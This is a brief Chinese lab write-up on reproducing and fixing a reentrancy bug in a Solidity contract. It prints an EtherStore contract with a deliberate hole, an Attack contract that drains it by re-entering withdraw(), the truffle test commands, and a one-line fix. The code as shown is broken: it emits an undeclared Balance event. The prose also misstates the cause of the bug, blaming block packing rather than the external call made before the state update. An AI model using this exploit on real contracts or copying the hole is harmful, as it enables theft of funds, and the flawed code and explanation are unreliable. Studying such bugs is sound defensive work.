【区块链】智能合约漏洞测试

打开Ganache

vscode打开智能合约漏洞工程 

合约内容

pragma solidity >=0.8.3;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

此智能合约存在“重入"即“Re-Entrance"问题,由于调用智能合约的转账操作需要通过打包后才会生效,可能出现重复提现从而使得其他合约账户被盗的问题

根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞

测试用例

truffle test test/ReEntrancy.js

执行命令复现智能合约漏洞

创建新的智能合约,修复其中问题,说明修复内容并测试。

主要修复点为withdraw()的体现方法,具体操作为先将账户清零,再转账

使用同样的测试用例进行操作

truffle test test/ReEntrancyRepair.js